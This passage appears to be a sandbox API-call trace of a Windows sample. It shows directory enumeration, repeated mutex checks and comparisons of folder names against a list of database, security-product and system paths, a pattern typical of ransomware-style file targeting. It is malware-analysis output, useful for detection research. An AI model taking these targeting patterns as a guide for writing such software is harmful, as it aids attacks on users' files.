0x3f4000c [0277.895] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.895] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da1d0 [0277.896] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0277.896] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0277.896] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0277.896] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0277.896] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.896] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0277.896] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0277.896] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0277.896] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.896] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0277.896] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.896] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0277.896] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0277.896] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0277.896] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0277.896] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0277.896] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0277.896] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.897] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0277.897] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0277.897] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0277.897] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.897] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0277.897] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.897] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0277.897] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0277.897] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0277.897] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0277.897] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0277.897] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0277.897] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.897] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0277.897] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0277.897] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0277.897] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.897] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0277.897] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.898] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0277.898] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0277.898] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0277.898] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0277.898] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0277.898] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0277.898] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.898] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0277.898] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0277.898] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0277.898] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.898] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0277.898] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.898] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0277.898] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0277.898] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0277.898] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0277.898] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0277.999] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0277.999] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.999] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0277.999] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0277.999] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0277.999] GlobalUnlock (hMem=0x3f4000c) returned 0 [0277.999] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0277.999] GlobalUnlock (hMem=0x3f40004) returned 0 [0277.999] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0277.999] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0277.999] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0278.000] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0278.000] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0278.000] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0278.000] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.000] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0278.000] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0278.000] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0278.000] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.000] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0278.000] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.000] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0278.000] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0278.000] GetLastError () returned 0x12 [0278.000] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0278.000] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0278.000] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0278.001] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0278.001] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0278.001] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0278.001] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.001] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0278.001] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0278.001] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0278.001] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.001] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0278.001] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.001] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0278.001] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0278.001] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0278.001] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.001] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0278.001] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0278.002] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0278.002] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.002] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0278.002] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.002] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0278.002] SysReAllocStringLen (in: pbstr=0x19eb78*=0x0, psz="C:\\588bce7c90097ed212\\1033", len=0x1a | out: pbstr=0x19eb78*="C:\\588bce7c90097ed212\\1033") returned 1 [0278.002] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0278.002] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0278.002] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.002] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0278.002] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0278.002] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0278.002] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.002] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0278.002] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.002] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\Microsoft\\Exchange Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0278.004] GetLastError () returned 0x3 [0278.004] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1033\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1033\\") returned 0x1b [0278.004] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1cdb8, cbMultiByte=26, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0278.004] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\Microsoft SQL Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0278.005] GetLastError () returned 0x2 [0278.005] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1033\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1033\\") returned 0x1b [0278.005] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1cdb8, cbMultiByte=21, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\疼\x16") returned 21 [0278.005] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\Firebird", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0278.005] GetLastError () returned 0x2 [0278.005] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1033\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1033\\") returned 0x1b [0278.005] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39a98, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0278.005] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\MSSQL.1", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0278.005] GetLastError () returned 0x2 [0278.005] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1033\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1033\\") returned 0x1b [0278.005] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39a98, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0278.006] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\Microsoft SQL Server Compact Edition", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0278.006] GetLastError () returned 0x2 [0278.006] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1033\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1033\\") returned 0x1b [0278.006] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3ec0190, cbMultiByte=37, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 37 [0278.006] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\Adobe", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0278.006] GetLastError () returned 0x2 [0278.006] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1033\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1033\\") returned 0x1b [0278.006] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39a98, cbMultiByte=6, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="adobe\\") returned 6 [0278.006] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\Oracle", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0278.006] GetLastError () returned 0x2 [0278.007] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1033\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1033\\") returned 0x1b [0278.007] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39a98, cbMultiByte=7, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="oracle\\") returned 7 [0278.007] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0278.007] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0278.007] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.007] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0278.007] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0278.007] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0278.007] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.007] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0278.007] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.007] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1033\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1033\\") returned 0x1b [0278.007] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0278.007] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aae8, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr) returned 15 [0278.007] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1033\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1033\\") returned 0x1b [0278.007] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x1f [0278.007] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130f8, cbMultiByte=32, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\fd1hvy\\appdata\\roaming\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 32 [0278.008] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1033\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1033\\") returned 0x1b [0278.008] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0278.008] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aaa8, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\\\appdata\\roaming\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0278.008] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1033\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1033\\") returned 0x1b [0278.008] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\WINDOWS") returned 0xa [0278.008] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39cc0, cbMultiByte=11, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\\\appdata\\roaming\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0278.008] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0278.015] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0278.015] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.016] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0278.016] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0278.016] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0278.016] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.016] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0278.016] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.016] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1033\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1033\\") returned 0x1b [0278.016] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aaa8, cbMultiByte=15, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\data\\roaming\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0278.016] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1033\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1033\\") returned 0x1b [0278.016] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39a98, cbMultiByte=11, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\data\\roaming\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0278.016] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1033\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1033\\") returned 0x1b [0278.016] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39a98, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\data\\roaming\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0278.016] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1033\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1033\\") returned 0x1b [0278.016] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aaa8, cbMultiByte=18, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\application data\\a\\roaming\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 18 [0278.016] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1033\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1033\\") returned 0x1b [0278.016] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130f8, cbMultiByte=28, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 28 [0278.017] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1033\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1033\\") returned 0x1b [0278.017] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39a98, cbMultiByte=10, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 10 [0278.017] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1033\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1033\\") returned 0x1b [0278.017] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39a98, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 8 [0278.017] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1033\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1033\\") returned 0x1b [0278.017] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39a98, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0278.017] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1033\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1033\\") returned 0x1b [0278.017] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aaa8, cbMultiByte=13, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\䵾@眬έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 13 [0278.017] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1033\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1033\\") returned 0x1b [0278.017] SHGetMalloc (in: ppMalloc=0x19e840 | out: ppMalloc=0x19e840*=0x75e4d000) returned 0x0 [0278.017] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=0, ppidl=0x19e83c | out: ppidl=0x19e83c) returned 0x0 [0278.017] SHGetPathFromIDListW (in: pidl=0x6e4798, pszPath=0x3add5d4 | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0278.017] SysReAllocStringLen (in: pbstr=0x19e8c4*=0x0, psz="C:\\Users\\FD1HVy\\Desktop", len=0x17 | out: pbstr=0x19e8c4*="C:\\Users\\FD1HVy\\Desktop") returned 1 [0278.017] IMalloc:Free (This=0x75e4d000, pv=0x6e4798) [0278.018] IUnknown:AddRef (This=0x75e4d000) returned 0x1 [0278.018] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop", cchLength=0x17 | out: lpsz="c:\\users\\fd1hvy\\desktop") returned 0x17 [0278.018] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0278.018] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0278.018] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.018] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0278.018] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0278.018] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0278.018] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.018] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0278.018] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.018] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da1d0 [0278.018] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0278.019] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0278.019] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0278.019] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0278.019] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0278.019] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0278.019] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.019] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0278.019] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0278.019] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0278.019] GlobalUnlock (hMem=0x3f4000c) returned 0 [0278.019] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0278.019] GlobalUnlock (hMem=0x3f40004) returned 0 [0278.019] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0278.019] CharLowerBuffW (in: lpsz="eula.rtf", cchLength=0x8 | out: lpsz="eula.rtf") returned 0x8 [0278.019] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.019] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.019] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.019] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0278.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0278.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", 